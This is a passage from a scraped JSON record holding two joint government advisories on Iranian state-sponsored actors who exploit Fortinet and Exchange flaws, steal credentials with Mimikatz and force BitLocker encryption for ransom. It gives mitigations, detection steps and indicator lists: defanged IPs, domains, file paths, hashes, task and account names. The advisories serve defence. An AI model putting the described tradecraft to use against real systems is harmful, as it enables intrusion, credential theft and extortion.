(to block brute force campaigns), and log RDP login attempts.\n\n#### Use Antivirus Programs\n\n * Install and regularly update antivirus and anti-malware software on all hosts.\n\n#### Secure Remote Access\n\n * Only use secure networks.\n * Consider installing and using a VPN for remote access.\n\n### VALIDATE SECURITY CONTROLS\n\nIn addition to applying mitigations, the authoring agencies recommend exercising, testing, and validating your organization's security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. The authoring agencies recommend testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory.\n\nTo get started:\n\n 1. Select an ATT&CK technique described in this advisory (see Appendix B).\n 2. Align your security technologies against the technique.\n 3. Test your technologies against the technique.\n 4. Analyze your detection and prevention technologies performance.\n 5. Repeat the process for all security technologies to obtain a set of comprehensive performance data.\n 6. Tune your security program, including people, processes, and technologies, based on the data generated by this process.\n\nThe authoring agencies recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.\n\n### RESPONDING TO RANSOMWARE OR EXTORTION INCIDENTS\n\nIf a ransomware or extortion incident occurs at your organization:\n\n * Follow the Ransomware Response Checklist on page 11 of the [CISA-Multi-State Information Sharing and Analysis Center (MS-ISAC) Joint Ransomware Guide](<https://www.cisa.gov/sites/default/files/publications/CISA_MS-ISAC_Ransomware%20Guide_S508C_.pdf>).\n * Scan backups. If possible, scan backup data with an antivirus program to check that it is free of malware. This should be performed using an isolated, trusted system to avoid exposing backups to potential compromise.\n * Follow the notification requirements as outlined in your cyber incident response plan. \n * **U.S. organizations**: Report incidents to FBI at a [local FBI Field Office](<https://www.fbi.gov/contact-us/field-offices>) or the FBI's 24/7 CyWatch at (855)292-3937 or cywatch@fbi.gov, CISA\u2019s 24/7 Operations Center at [report@cisa.gov](<mailto:report@cisa.gov>) or (888) 282-0870, or the U.S. Secret Service (USSS) at a [USSS Field Office](<http://www.secretservice.gov/contact/field-offices/>).\n * **Australian organizations**: Visit [cyber.gov.au](<https://www.cyber.gov.au/>) or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories.\n * **Canadian organizations**: Report incidents by emailing CCCS at [contact@cyber.gc.ca](<mailto:contact@cyber.gc.ca>).\n * **United Kingdom organizations**: Report a significant cyber security incident: [ncsc.gov.uk/report-an-incident](<https://report.ncsc.gov.uk/>) (monitored 24 hours)\n * Apply incident response best practices found in the joint Cybersecurity Advisory, [Technical Approaches to Uncovering and Remediating Malicious Activity](<https://us-cert.cisa.gov/ncas/alerts/aa20-245a>), developed by CISA and the cybersecurity authorities of Australia, Canada, New Zealand, and the United Kingdom.\n\n**Note**: The authoring agencies strongly discourage paying ransoms as doing so does not guarantee files and records will be recovered and may pose sanctions risks.\n\n### **RESOURCES**\n\n * The U.S. Department of State\u2019s Rewards for Justice (RFJ) program offers a reward of up to $10 million for reports of foreign government malicious activity against U.S. critical infrastructure. See the [RFJ](<https://rewardsforjustice.net/english>) website for more information and how to report information securely.\n * For more information on malicious cyber activity affiliated with the Iranian government- sponsored malicious cyber activity, see [us-cert.cisa.gov/Iran](<https://www.us-cert.cisa.gov/iran>) and FBI\u2019s [Iran Threat](<https://www.fbi.gov/investigate/counterintelligence/the-iran-threat>) page.\n * For information and resources on protecting against and responding to ransomware or extortion activity, refer to [StopRansomware.gov](<https://www.cisa.gov/stopransomware/>), the U.S. centralized, whole-of-government webpage providing ransomware resources and alerts.\n * The joint advisory from the cybersecurity authorities of Australia, Canada, New Zealand, the United Kingdom, and the United States: [Technical Approaches to Uncovering and Remediating Malicious Activity](<https://us-cert.cisa.gov/sites/default/files/publications/AA20-245A-Joint_CSA-Technical_Approaches_to_Uncovering_Malicious_Activity_508.pdf>) provides additional guidance when hunting or investigating a network and common mistakes to avoid in incident handling.\n * CISA offers a range of no-cost [cyber hygiene services](<https://www.cisa.gov/cyber-hygiene-services>) to help critical infrastructure organizations assess, identify, and reduce their exposure to threats. By requesting these services, organizations of any size could find ways to reduce their risk and mitigate malicious activity.\n * ACSC can provide tailored cyber security advice and assistance, reporting, and incident response support at [cyber.gov.au](<https://www.cyber.gov.au/>) and via 1300 292 371 (1300 CYBER1).\n\n### **PURPOSE**\n\nThis advisory was developed by U.S., Australian, Canadian, and UK cybersecurity authorities in furtherance of their respective cybersecurity missions, including their responsibilities to develop and issue cybersecurity specifications and mitigations.\n\n### **DISCLAIMER**\n\nThe information in this report is being provided \u201cas is\u201d for informational purposes only. FBI, CISA, NSA, USCC-CNMF, DoT, ACSC, CCCS, and NCSC do not endorse any commercial product or service, including any subjects of analysis. Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring.\n\n### **APPENDIX A: INDICATORS OF COMPROMISE**\n\nIP addresses and executables files are listed below. For a downloadable copy of IOCs, see [AA22- 257A.stix](<https://www.us-cert.gov/sites/default/files/AA22-257A.stix.xml>).\n\n#### **IP Addresses**\n\n * 54.39.78[.]148\n * 95.217.193[.]86\n * 104.168.117[.]149\n * 107.173.231[.]114\n * 144.76.186[.]88\n * 148.251.71[.]182\n * 172.245.26[.]118\n * 185.141.212[.]131\n * 198.12.65[.]175\n * 198.144.189[.]74\n\nNote: Some of these observed IP addresses may be outdated. The authoring agencies recommend organizations investigate or vet these IP addresses prior to taking action, such as blocking.\n\n#### **Malicious Domains**\n\n * newdesk[.]top\n * symantecserver[.]co\n * msupdate[.]us\n * msupdate[.]top\n * gupdate[.]us\n * aptmirror[.]eu\n * buylap[.]top\n * winstore[.]us\n * tcp443[.]org\n * mssync[.]one\n * upmirror[.]top\n * tcp443 (subdomain)\n * kcp53 (subdomain)\n\n#### **Files**\n\nMalicious files observed in this activity are identified in Table 1. Many of the below malicious files are masquerading as legitimate Windows files; therefore, file names alone should not be treated as an indicator of compromise. Note: For additional malicious files observed, see joint CSA [Iranian Government-Sponsored APT Cyber Actors Exploiting Microsoft Exchange and Fortinet Vulnerabilities in Furtherance of Malicious Activities](<https://www.cisa.gov/uscert/ncas/alerts/aa21-321a>).\n\nFilename:\n\n| \n\nWininet[.]xml \n \n---|--- \n \nPath:\n\n| \n\nC:\\Windows\\Temp\\wininet[.]xml \n \nMD5:\n\n| \n\nd2f4647a3749d30a35d5a8faff41765e \n \nSHA-1:\n\n| \n\n0f676bc786db3c44cac4d2d22070fb514b4cb64c \n \nSHA-256:\n\n| \n\n559d4abe3a6f6c93fc9eae24672a49781af140c43d491a757c8e975507b4032e \n \nFilename:\n\n| \n\nWininet\u2019[.]xml \n \nMD5:\n\n| \n\n2e1e17a443dc713f13f45a9646fc2179 \n \nSHA-1:\n\n| \n\ne75bfc0dd779d9d8ac02798b090989c2f95850dc \n \nFilename:\n\n| \n\nWinLogon[.]xml \n \nPath:\n\n| \n\nC:\\Windows\\Temp\\WinLogon[.]xml \n \nMD5:\n\n| \n\n49c71178fa212012d710f11a0e6d1a30 \n \nSHA-1:\n\n| \n\n226f0fbb80f7a061947c982ccf33ad65ac03280f \n \nSHA-256:\n\n| \n\nbcc2e4d96e7418a85509382df6609ec9a53b3805effb7ddaed093bdaf949b6ea \n \nFilename:\n\n| \n\nWininet[.]bat \n \nPath:\n\n| \n\nC:\\Windows\\wininet[.]bat \n \nMD5:\n\n| \n\n5f098b55f94f5a448ca28904a57c0e58 \n \nSHA-1:\n\n| \n\n27102b416ef5df186bd8b35190c2a4cc4e2fbf37 \n \nSHA-256:\n\n| \n\n668ec78916bab79e707dc99fdecfa10f3c87ee36d4dee6e3502d1f5663a428a0 \n \nFilename:\n\n| \n\nWinlogon[.]bat \n \nPath:\n\n| \n\nC:\\Windows\\winlogon[.]bat \n \nMD5:\n\n| \n\n7ac4633bf064ebba9666581b776c548f \n \nSHA-1:\n\n| \n\n524443dd226173d8ba458133b0a4084a172393ef \n \nSHA-256:\n\n| \n\nd14d546070afda086a1c7166eaafd9347a15a32e6be6d5d029064bfa9ecdede7 \n \nFilename:\n\n| \n\nCacheTask[.]bat \n \nPath:\n\n| \n\nC:\\\\\\ProgramData\\Microsoft\\CacheTask[.]bat \n \nMD5:\n\n| \n\nee8fd6c565254fe55a104e67cf33eaea \n \nSHA-1:\n\n| \n\n24ed561a1ddbecd170acf1797723e5d3c51c2f5d \n \nSHA-256:\n\n| \n\nc1723fcad56a7f18562d14ff7a1f030191ad61cd4c44ea2b04ad57a7eb5e2837 \n \nFilename:\n\n| \n\nTask_update[.]exe \n \n---|--- \n \nPath:\n\n| \n\nC:\\Windows\\Temp\\task_update[.]exe \n \nMD5:\n\n| \n\ncacb64bdf648444e66c82f5ce61caf4b \n \nSHA-1:\n\n| \n\n3a6431169073d61748829c31a9da29123dd61da8 \n \nSHA-256:\n\n| \n\n12c6da07da24edba13650cd324b2ad04d0a0526bb4e853dee03c094075ff6d1a \n \nFilename:\n\n| \n\nTask[.]exe \n \nMD5:\n\n| \n\n5b646edb1deb6396082b214a1d93691b \n \nSHA-1:\n\n| \n\n763ca462b2e9821697e63aa48a1734b10d3765ee \n \nSHA-256:\n\n| \n\n17e95ecc7fedcf03c4a5e97317cfac166b337288562db0095ccd24243a93592f \n \nFilename:\n\n| \n\ndllhost[.]exe \n \nPath:\n\n| \n\nC:\\Windows\\dllhost[.]exe \n \nMD5:\n\n| \n\n0f8b592126cc2be0e9967d21c40806bc\n\n| \n\n9a3703f9c532ae2ec3025840fa449d4e \n \nSHA-1:\n\n| \n\n3da45558d8098eb41ed7db5115af5a2c6 1c543af\n\n| \n\n8ece87086e8b5aba0d1cc4ec3804bf74e 0b45bee \n \nSHA-256:\n\n| \n\n724d54971c0bba8ff32aeb6044d3b3fd57 1b13a4c19cada015ea4bcab30cae26\n\n| \n\n1604e69d17c0f26182a3e3ff65694a4945\n\n0aafd56a7e8b21697a932409dfd81e \n \nFilename:\n\n| \n\nsvchost[.]exe \n \nPath:\n\n| \n\nC:\\Windows\\svchost[.]exe \n \nMD5:\n\n| \n\n68f58e442fba50b02130eedfc5fe4e5b\n\n| \n\n298d41f01009c6d6240bc2dc7b769205 \n \nSHA-1:\n\n| \n\n76dd6560782b13af3f44286483e157848\n\nefc0a4e\n\n| \n\n6ca62f4244994b5fbb8a46bdfe62aa1c95 8cebbd \n \nSHA-256:\n\n| \n\nb04b97e7431925097b3ca4841b894139 7b0b88796da512986327ff66426544ca\n\n| \n\n8aa3530540ba023fb29550643beb00c9c 29f81780056e02c5a0d02a1797b9cd9 \n \nFilename:\n\n| \n\nUser[.]exe \n \nPath:\n\n| \n\nC:\\Windows\\Temp\\user[.]exe \n \nMD5:\n\n| \n\nbd131ebfc44025a708575587afeebbf3\n\n| \n\nf0be699c8aafc41b25a8fc0974cc4582 \n \nSHA-1:\n\n| \n\n8b23b14d8ec4712734a5f6261aed40942 c9e0f68\n\n| \n\n6bae2d45bbd8c4b0a59ba08892692fe86 e596154 \n \nSHA-256:\n\n| \n\nb8a472f219658a28556bab4d6d109fdf3 433b5233a765084c70214c973becbbd\n\n| \n\n7b5fbbd90eab5bee6f3c25aa3c2762104 e219f96501ad6a4463e25e6001eb00b \n \nFilename:\n\n| \n\nSetup[.]bat \n \n---|--- \n \nPath:\n\n| \n\nC:\\Users\\DefaultAccount\\Desktop\\New folder\\setup[.]bat \n \nMD5:\n\n| \n\n7fdc2d007ef0c1946f1f637b87f81590 \n \nFilename:\n\n| \n\nSsasl[.]pmd \n \nPath:\n\n| \n\nC:\\Windows\\Temp\\ssasl[.]pmd \n \nFilename:\n\n| \n\nSsasl[.]zip \n \nPath:\n\n| \n\nC:\\Windows\\Temp\\ssasl[.]zip \n \nFilename:\n\n| \n\nnetscanold[.]exe \n \nPath:\n\n| \n\nC:\\Users\\DefaultAccount\\Desktop\\netscanold\\netscanold[.]exe \n \nFilename:\n\n| \n\nscan[.]csv \n \nPath:\n\n| \n\nC:\\Users\\DefaultAccount\\Desktop\\scan[.]csv \n \nFilename:\n\n| \n\nlsass[.]dmp \n \nPath:\n\n| \n\nC:\\Users\\DefaultAccount\\AppData\\Local\\Temp\\lsass[.]dmp \n \nFilename:\n\n| \n\nlsass[.]zip \n \nPath:\n\n| \n\nC:\\Users\\DefaultAccount\\AppData\\Local\\Temp\\lsass[.]zip \n \n** **\n\n### **APPENDIX B: MITRE ATT&CK TACTICS AND TECHNIQUES**\n\nTable 2 identifies MITRE ATT&CK Tactics and techniques observed in this activity.\n\n_Table 2: Observed Tactics and Techniques_\n\nTactic\n\n| \n\nTechnique \n \n---|--- \n \nResource Development []TA0042](<https://attack.mitre.org/versions/v11/tactics/TA0042>)]\n\n| \n\nObtain Capabilities: Malware [[T1588.001](<https://attack.mitre.org/versions/v11/techniques/T1588/001>)] \n \nObtain Capabilities: Tool [[T1588.002](<https://attack.mitre.org/versions/v11/techniques/T1588/002>)] \n \nInitial Access [[TA0001](<https://attack.mitre.org/versions/v11/tactics/TA0001/>)]\n\n| \n\nExploit Public-Facing Application [[T1190](<https://attack.mitre.org/versions/v11/techniques/T1190/>)] \n \nExecution [[TA0002](<https://attack.mitre.org/versions/v11/tactics/TA0002>)]\n\n| \n\nScheduled Task/Job: Scheduled Task [[T1053.005](<https://attack.mitre.org/versions/v11/techniques/T1053/005>)] \n \nPersistence [[TA0003](<https://attack.mitre.org/versions/v11/tactics/TA0003>)]\n\n| \n\nCreate Account: Local Account [[T1136.001](<https://attack.mitre.org/versions/v10/techniques/T1136/001>)] \n \nCreate Account: Domain Account [[T1136.002](<https://attack.mitre.org/versions/v11/techniques/T1136/002>)] \n \nPrivilege Escalation [[TA0004](<https://attack.mitre.org/versions/v11/tactics/TA0004>)]\n\n| \n \nCredential Access [[TA0006](<https://attack.mitre.org/versions/v11/tactics/TA0006>)]\n\n| \n \nCollection [[TA0009](<https://attack.mitre.org/versions/v11/tactics/TA0009>)]\n\n| \n\nArchive Collected Data: Archive via Utility [[T1560.001](<https://attack.mitre.org/versions/v11/techniques/T1560/001>)] \n \nExfiltration [[TA0010](<https://attack.mitre.org/versions/v11/tactics/TA0010/>)]\n\n| \n \nImpact [[TA0040](<https://attack.mitre.org/versions/v11/tactics/TA0040>)]\n\n| \n\nData Encrypted for Impact [[T1486](<https://attack.mitre.org/versions/v11/techniques/T1486>)] \n \n### Revisions\n\nSeptember 14, 2022: Initial Version\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-09-14T12:00:00", "type": "ics", "title": "Iranian Islamic Revolutionary Guard Corps-Affiliated Cyber Actors Exploiting Vulnerabilities for Data Extortion and Disk Encryption for Ransom Operations", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-13379", "CVE-2019-5591", "CVE-2020-12812", "CVE-2021-31196", "CVE-2021-31206", "CVE-2021-31207", "CVE-2021-33766", "CVE-2021-33768", "CVE-2021-34470", "CVE-2021-34473", "CVE-2021-34523", "CVE-2021-44228", "CVE-2021-45046", "CVE-2021-45105", "CVE-2022-42475", "CVE-2022-47966"], "modified": "2022-09-14T12:00:00", "id": "AA22-257A", "href": "https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-257a", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-09-23T06:58:39", "description": "### Summary\n\n_**Actions to Take Today to Protect Against Iranian State-Sponsored Malicious Cyber Activity** \n\u2022 Immediately patch software affected by the following vulnerabilities: CVE-2021-34473, 2018-13379, 2020-12812, and 2019-5591._ \n\u2022 _Implement [multi-factor authentication](<https://us-cert.cisa.gov/ncas/tips/ST05-012>)._ \n_\u2022 Use [strong, unique passwords](<https://us-cert.cisa.gov/ncas/tips/ST04-002>).v_\n\n___**Note:** this advisory uses the MITRE Adversarial Tactics, Techniques, and Common Knowledge (ATT&CK\u00ae) framework, version 10. See the [ATT&CK for Enterprise](<https://attack.mitre.org/versions/v9/techniques/enterprise/>) for all referenced threat actor tactics and techniques.___\n\nThis joint cybersecurity advisory is the result of an analytic effort among the Federal Bureau of Investigation (FBI), the Cybersecurity and Infrastructure Security Agency (CISA), the Australian Cyber Security Centre (ACSC), and the United Kingdom\u2019s National Cyber Security Centre (NCSC) to highlight ongoing malicious cyber activity by an advanced persistent threat (APT) group that FBI, CISA, ACSC, and NCSC assess is associated with the government of Iran. FBI and CISA have observed this Iranian government-sponsored APT group exploit Fortinet vulnerabilities since at least March 2021 and a Microsoft Exchange ProxyShell vulnerability since at least October 2021 to gain initial access to systems in advance of follow-on operations, which include deploying ransomware. ACSC is also aware this APT group has used the same Microsoft Exchange vulnerability in Australia.\n\nThe Iranian government-sponsored APT actors are actively targeting a broad range of victims across multiple U.S. critical infrastructure sectors, including the Transportation Sector and the Healthcare and Public Health Sector, as well as Australian organizations. FBI, CISA, ACSC, and NCSC assess the actors are focused on exploiting known vulnerabilities rather than targeting specific sectors. These Iranian government-sponsored APT actors can leverage this access for follow-on operations, such as data exfiltration or encryption, ransomware, and extortion.\n\nThis advisory provides observed tactics and techniques, as well as indicators of compromise (IOCs) that FBI, CISA, ACSC, and NCSC assess are likely associated with this Iranian government-sponsored APT activity.\n\nThe FBI, CISA, ACSC, and NCSC urge critical infrastructure organizations to apply the recommendations listed in the Mitigations section of this advisory to mitigate risk of compromise from Iranian government-sponsored cyber actors.\n\nFor a downloadable copy of IOCs, see AA21-321A.stix.\n\nFor more information on Iranian government-sponsored malicious cyber activity, see [us-cert.cisa.gov/Iran](<https://www.us-cert.cisa.gov/iran>).\n\nClick here for a PDF version of this report.\n\n### Technical Details\n\n### Threat Actor Activity\n\nSince at least March 2021, the FBI and CISA have observed Iranian government-sponsored APT actors leverage Microsoft Exchange and Fortinet vulnerabilities to target a broad range of victims across multiple critical infrastructure sectors in furtherance of malicious activities. Observed activity includes the following.\n\n * In March 2021, the FBI and CISA observed these Iranian government-sponsored APT actors scanning devices on ports 4443, 8443, and 10443 for Fortinet FortiOS vulnerability [CVE-2018-13379](<https://vulners.com/cve/CVE-2018-13379>), and enumerating devices for FortiOS vulnerabilities [CVE-2020-12812](<https://vulners.com/cve/CVE-2020-12812>) and [CVE-2019-5591](<https://vulners.com/cve/CVE-2019-5591>). The Iranian Government-sponsored APT actors likely exploited these vulnerabilities to gain access to vulnerable networks. **Note:** for previous FBI and CISA reporting on this activity, refer to Joint Cybersecurity Advisory: [APT Actors Exploit Vulnerabilities to Gain Initial Access for Future Attacks](<https://www.ic3.gov/media/news/2021/210402.pdf>).\n * In May 2021, these Iranian government-sponsored APT actors exploited a Fortigate appliance to access a webserver hosting the domain for a U.S. municipal government. The actors likely created an account with the username `elie` to further enable malicious activity. **Note: **for previous FBI reporting on this activity, refer to [FBI FLASH: APT Actors Exploiting Fortinet Vulnerabilities to Gain Initial Access for Malicious Activity](<https://www.ic3.gov/media/news/2021/210527.pdf>).\n * In June 2021, these APT actors exploited a Fortigate appliance to access environmental control networks associated with a U.S.-based hospital specializing in healthcare for children. The Iranian government-sponsored APT actors likely leveraged a server assigned to IP addresses `91.214.124[.]143` and `162.55.137[.]20`\u2014which FBI and CISA judge are associated with Iranian government cyber activity\u2014to further enable malicious activity against the hospital\u2019s network. The APT actors accessed known user accounts at the hospital from IP address `154.16.192[.]70`, which FBI and CISA judge is associated with government of Iran offensive cyber activity.\n * As of October 2021, these APT actors have leveraged a Microsoft Exchange ProxyShell vulnerability\u2014`CVE-2021-34473`\u2014to gain initial access to systems in advance of follow-on operations.\n\nACSC considers that this APT group has also used the same Microsoft Exchange vulnerability ([CVE-2021-34473](<https://vulners.com/cve/CVE-2021-34473>)) in Australia.\n\n### MITRE ATT&CK Tactics and Techniques\n\nFBI, CISA, ACSC, and NCSC assess the following tactics and techniques are associated with this activity.\n\n#### Resource Development [[TA0042](<https://attack.mitre.org/versions/v10/tactics/TA0042>)]\n\nThe APT actors have used the following malicious and legitimate tools [[T1588.001](<https://attack.mitre.org/versions/v10/techniques/T1588/001>), [T1588.002](<https://attack.mitre.org/versions/v10/techniques/T1588/002>)] for a variety of tactics across the enterprise spectrum.\n\n * [Mimikatz](<https://attack.mitre.org/software/S0002>) for credential theft [[TA0006](<https://attack.mitre.org/versions/v10/tactics/TA0042>)]\n * WinPEAS for privilege escalation [[TA0004](<https://attack.mitre.org/versions/v10/tactics/TA0004>)]\n * SharpWMI (Windows Management Instrumentation)\n * WinRAR for archiving collected data [[TA0009](<https://attack.mitre.org/versions/v10/tactics/TA0009>), [T1560.001](<https://attack.mitre.org/versions/v10/techniques/T1560/001>)]\n * FileZilla for transferring files [[TA0010](<https://attack.mitre.org/versions/v10/tactics/TA0010>)]\n\n#### Initial Access [[TA0001](<https://attack.mitre.org/versions/v10/tactics/TA0001/>)]\n\nThe Iranian government-sponsored APT actors gained initial access by exploiting vulnerabilities affecting Microsoft Exchange servers (CVE-2021-34473) and Fortinet devices (CVE-2018-13379, CVE-2020-12812, and CVE-2019-5591) [[T1190](<https://attack.mitre.org/versions/v10/techniques/T1190/>)].\n\n#### Execution [[TA0002](<https://attack.mitre.org/versions/v10/tactics/TA0002>)]\n\nThe Iranian government-sponsored APT actors may have made modifications to the Task Scheduler [[T1053.005](<https://attack.mitre.org/versions/v10/techniques/T1053/005>)]. These modifications may display as unrecognized scheduled tasks or actions. Specifically, the below established tasks may be associated with this activity:\n\n * `SynchronizeTimeZone`\n * `GoogleChangeManagement`\n * `MicrosoftOutLookUpdater`\n * `MicrosoftOutLookUpdateSchedule`\n\n#### Persistence [[TA0003](<https://attack.mitre.org/versions/v10/tactics/TA0003>)]\n\nThe Iranian government-sponsored APT actors may have established new user accounts on domain controllers, servers, workstations, and active directories [[T1136.001](<https://attack.mitre.org/versions/v10/techniques/T1136/001>), [T1136.002](<https://attack.mitre.org/versions/v10/techniques/T1136/002>)]. Some of these accounts appear to have been created to look similar to other existing accounts on the network, so specific account names may vary per organization. In addition to unrecognized user accounts or accounts established to masquerade as existing accounts, the following account usernames may be associated with this activity:\n\n * `Support`\n * `Help`\n * `elie`\n * `WADGUtilityAccount`\n\n#### Exfiltration [[TA0010](<https://attack.mitre.org/versions/v10/tactics/TA0010/>)]\n\nThe FBI and CISA observed outbound File Transfer Protocol (FTP) transfers over port 443.\n\n#### Impact [[TA0040](<https://attack.mitre.org/versions/v10/tactics/TA0040>)]\n\nThe APT actors forced BitLocker activation on host networks to encrypt data [T1486]. The corresponding threatening notes were either sent to the victim or left on the victim network as a .txt file. The ransom notes included ransom demands and the following contact information. \n\n * sar_addr@protonmail[.]com\n * WeAreHere@secmail[.]pro\n * nosterrmann@mail[.]com\n * nosterrmann@protonmail[.]com \n\n## Detection\n\nThe FBI, CISA, ACSC, and NCSC recommend that organizations using Microsoft Exchange servers and Fortinet investigate potential suspicious activity in their networks. \n\n * Search for IOCs. Collect known-bad IOCs and search for them in network and host artifacts. **Note: **refer to Appendix A for IOCs.\n * Investigate exposed Microsoft Exchange servers (both patched and unpatched) for compromise. \n * Investigate changes to Remote Desktop Protocol (RDP), firewall, and Windows Remote Management (WinRM) configurations that may allow attackers to maintain persistent access. \n * Review domain controllers, servers, workstations, and active directories for new or unrecognized user accounts.\n * Review Task Scheduler for unrecognized scheduled tasks. Additionally, manually review operating-system defined or recognized scheduled tasks for unrecognized \u201cactions\u201d (for example, review the steps each scheduled task is expected to perform).\n * Review antivirus logs for indications they were unexpectedly turned off.\n * Look for WinRAR and FileZilla in unexpected locations. \n\n**Note:** for additional approaches on uncovering malicious cyber activity, see joint advisory [Technical Approaches to Uncovering and Remediating Malicious Activity](<https://us-cert.cisa.gov/sites/default/files/publications/AA20-245A-Joint_CSA-Technical_Approaches_to_Uncovering_Malicious_Activity_508.pdf>), authored by CISA and the cybersecurity authorities of Australia, Canada, New Zealand, and the United Kingdom. \n\n### Mitigations\n\nThe FBI, CISA, ACSC, and NCSC urge network defenders to apply the following mitigations to reduce the risk of compromise by this threat.\n\n#### Patch and Update Systems\n\n * Install updates/patch operating systems, software, and firmware as soon as updates/patches are released. \n * Immediately patch software affected by vulnerabilities identified in this advisory: CVE-2021-34473, CVE-2018-13379, CVE-2020-12812, and CVE-2019-5591.\n\n#### Evaluate and Update Blocklists and Allowlists\n\n * Regularly evaluate and update blocklists and allowlists.\n * If FortiOS is not used by your organization, add the key artifact files used by FortiOS to your organization\u2019s execution blocklist. Any attempts to install or run this program and its associated files should be prevented.\n\n#### Implement and Enforce Backup and Restoration Policies and Procedures\n\n * Regularly back up data, air gap, and password protect backup copies offline.\n * Ensure copies of critical data are not accessible for modification or deletion from the system where the data resides. \n * Implement a recovery plan to maintain and retain multiple copies of sensitive or proprietary data and servers in a physically separate, segmented, secure location (e.g., hard drive, storage device, the cloud). \n\n#### Implement Network Segmentation\n\n * Implement network segmentation to restrict adversary\u2019s lateral movement. \n\n#### Secure User Accounts\n\n * Audit user accounts with administrative privileges and configure access controls under the principles of least privilege and separation of duties. \n * Require administrator credentials to install software. \n\n#### Implement Multi-Factor Authentication\n\n * Use multifactor authentication where possible, particularly for webmail, virtual private networks (VPNs), and accounts that access critical systems. \n\n#### Use Strong Passwords\n\n * Require all accounts with password logins to have strong, unique passwords.\n\n#### Secure and Monitor RDP and other Potentially Risky Services\n\n * If you use RDP, restrict it to limit access to resources over internal networks.\n * Disable unused remote access/RDP ports.\n * Monitor remote access/RDP logs. \n\n#### Use Antivirus Programs\n\n * Install and regularly update antivirus and anti-malware software on all hosts. \n\n#### Secure Remote Access\n\n * Only use secure networks and avoid using public Wi-Fi networks. \n * Consider installing and using a VPN for remote access.\n\n#### Reduce Risk of Phishing\n\n * Consider adding an email banner to emails received from outside your organization.\n * Disable hyperlinks in received emails\n\n## Resources\n\n * For more information on Iranian government-sponsored malicious cyber activity, see [us-cert.cisa.gov/Iran](<https://www.us-cert.cisa.gov/iran>). \n * For information and resources on protecting against and responding to ransomware, refer to [StopRansomware.gov](<https://www.cisa.gov/stopransomware/>), a centralized, whole-of-government webpage providing ransomware resources and alerts.\n * The joint advisory from the cybersecurity authorities of Australia, Canada, New Zealand, the United Kingdom, and the United States: [Technical Approaches to Uncovering and Remediating Malicious Activity](<https://us-cert.cisa.gov/sites/default/files/publications/AA20-245A-Joint_CSA-Technical_Approaches_to_Uncovering_Malicious_Activity_508.pdf>) provides additional guidance when hunting or investigating a network and common mistakes to avoid in incident handling.\n * CISA offers a range of no-cost [cyber hygiene services](<https://www.cisa.gov/cyber-hygiene-services>) to help critical infrastructure organizations assess, identify, and reduce their exposure to threats, including ransomware. By requesting these services, organizations of any size could find ways to reduce their risk and mitigate attack vectors.\n * The U.S. Department of State\u2019s Rewards for Justice (RFJ) program offers a reward of up to $10 million for reports of foreign government malicious activity against U.S. critical infrastructure. See the [RFJ](<https://rewardsforjustice.net/english>) website for more information and how to report information securely.\n * ACSC can provide tailored cyber security advice and assistance, reporting, and incident response support at [cyber.gov.au](<https://www.cyber.gov.au/>) and via 1300 292 371 (1300 CYBER1).\n\n### Appendix A: Indicators of Compromise\n\nIP addresses and executables files are listed below. For a downloadable copy of IOCs, see AA21-321A.stix.\n\nIP Addresses\n\n * `91.214.124[.]143 `\n * `162.55.137[.]20 `\n * `154.16.192[.]70`\n\n#### Executable Files \n\nExecutable files observed in this activity are identified in table 1.\n\nTable 1: Executable Files \n\n**Filename:** | MicrosoftOutLookUpdater[.]exe \n---|--- \nMD5: | 1444884faed804667d8c2bfa0d63ab13 \nSHA-1: | 95E045446EFB8C9983EBFD85E39B4BE5D92C7A2A \nSHA-256: | c51fe5073bd493c7e8d83365aace3f9911437a0f2ae80042ba01ea46b55d2624 \nSHA-512: | 6451077B99C5F8ECC5C0CA88FE272156296BEB91218B39AE28A086DBA5E7E39813F044F9AF0FEDBB260941B1CD52FA237C098CBF4B2A822F08E3E98E934D0ECF \n**Filename:** | **MicrosoftOutlookUpdater.bat** \nMD5: | 1A44368EB5BF68688BA4B4357BDC874F \nSHA-1 | FA36FEBFD5A5CA0B3A1B19005B952683A7188A13 \nSHA-256 | 3A08D0CB0FF4D95ED0896F22F4DA8755525C243C457BA6273E08453E0E3AC4C4 \nSHA-512 | 70AA89449EB5DA1D84B70D114EF9D24CB74751CE12D12C783251E51775C89FDCE61B4265B43B1D613114D6A85E9C75927B706F39C576DBB036079C7E8CAF28B2 \n**Filename:** | **MicrosoftOutlookUpdater.xml** \nMD5: | AA40C49E309959FA04B7E5AC111BB770 \nSHA-1 | F1D90E10E6E3654654E0A677763C9767C913F8F0 \nSHA-256 | 5C818FE43F05F4773AD20E0862280B0D5C66611BB12459A08442F55F148400A6 \nSHA-512 | E55A86159F2E869DCDB64FDC730DA893718E20D65A04071770BD32CAE75FF8C34704BDF9F72EF055A3B362759EDE3682B3883C4D9BCF87013076638664E8078E \n**Filename:** | **GoogleChangeManagement.xml** \nMD5: | AF2D86042602CBBDCC7F1E8EFA6423F9 \nSHA-1 | CDCD97F946B78831A9B88B0A5CD785288DC603C1 \nSHA-256 | 